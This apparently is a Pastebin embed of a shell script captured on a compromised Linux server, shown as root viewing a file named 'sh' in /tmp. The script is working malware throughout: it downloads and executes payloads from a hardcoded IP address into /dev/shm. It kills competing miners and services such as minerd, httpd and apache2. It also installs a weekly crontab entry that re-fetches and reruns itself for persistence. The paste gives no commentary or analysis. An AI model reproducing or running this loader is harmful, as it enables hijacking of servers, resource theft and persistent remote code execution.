document.write('
Data hosted with ♥ by Pastebin.com - Download Raw - See Original
  1. [root@carmen tmp]# more sh
  2. #!/bin/sh
  3.  
  4. cd /tmp;cd /dev/shm
  5. wget -q http://221.132.37.26/xx -O ...x
  6. chmod +x ...x
  7. ./...x
  8. cd /dev/shm ; wget 221.132.37.26/ru ; bash ru ; rm -rf ru
  9. cd /dev/shm ; wget 221.132.37.26/rr; bash rr; rm -rf rr
  10. killall -9 .a .b .c .d .e .f .g .h .i .j. .k .l .m .n .o .p .q .r .s .t .u .v .x .z .y .w php
  11. killall -9 .rnd
  12. killall -9 .a
  13. killall -9 kernelupdate
  14. killall -9 dev
  15. killall -9 sh
  16. killall -9 bash
  17. killall -9 apache2
  18. killall -9 httpd
  19. killall -9 cla
  20. killall -9 ka
  21. killall -9 kav
  22. killall -9 m32
  23. killall -9 m64
  24. killall -9 perl
  25. killall -9 sh
  26. killall -9 sucrack
  27. killall -9 m64 m32 minerd32 minerd64 minerd  cla qt64 qt32 clover cron sh wget
  28. kill -9 `pidof .rnd`
  29. kill -9 `pidof .a .b .c .d .e .f .g .h .i .j. .k .l .m .n .o .p .q .r .s .t .u .v .x .z .y .w`
  30. kill -9 `pidof dev`
  31. kill -9 `pidof perl`
  32. kill -9 `pidof m32`
  33. kill -9 `pidof m64`
  34. kill -9 `pidof ka`
  35. kill -9 `pidof kav`
  36. kill -9 `pidof cla`
  37. kill -9 `pidof sh`
  38. kill -9 `pidof sucrack`
  39. echo "@weekly wget -q http://221.132.37.26/sh -O /tmp/sh;sh /tmp/sh;rm -rd /tmp/sh" >> /tmp/cron
  40. crontab /tmp/cron
  41. rm -rf /tmp/cron
');